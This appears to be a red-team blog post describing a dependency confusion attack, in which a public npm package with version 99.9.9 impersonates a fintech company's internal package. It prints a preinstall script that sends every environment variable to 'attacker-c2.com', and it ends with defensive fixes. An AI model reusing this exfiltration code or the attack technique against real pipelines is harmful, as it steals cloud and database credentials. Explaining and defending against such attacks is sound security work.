Anatomy of a Supply Chain Attack: The NPM Package That Wasn't

The Silent Killer
Everyone is obsessed with their own code. They fuzz their APIs, they static-analyze their react components. But nobody looks at node_modules.
That's where the bodies are buried.
The Setup
During a recent Red Team engagement for a fintech giant, we found ourselves walled off. Their external perimeter was solid. WAFs everywhere, strict egress filtering, hardened endpoints. So we stopped attacking them. We attacked what they trusted.
We noticed a private internal package name in a leaked package.json file on a developer's personal GitHub gist.
@fintech-internal/auth-utils.
The Execution: Dependency Confusion
Here's the kicker: npm (and many other package managers) defaults to the public registry if it can't find the package in the private one, or if the public one has a higher version.
We registered @fintech-internal/auth-utils on the public npm registry with a version number 99.9.9.
Inside the package? A simple preinstall script:
const net = require('net');
const client = new net.Socket();
client.connect(1337, 'attacker-c2.com', function() {
client.write(JSON.stringify(process.env));
});
The Catch
We waited 4 hours.
Then, a CI/CD pipeline woke up. It ran npm install. It saw our "newer" version. It pulled our code.
It executed our script.
Boom. AWS keys, Database credentials, and internal API tokens, delivered straight to our C2.
The Fix
- Scoped Packages: properly configure your
.npmrc. - Lockfiles:
package-lock.jsonexists for a reason. Commit it. - Jail Your CI: Your build server shouldn't have internet access unless absolutely necessary.
Conclusion
You can have the best firewall in the world, but if your build pipeline invites the Trojan Horse in, it's game over. Start auditing your dependencies. Now.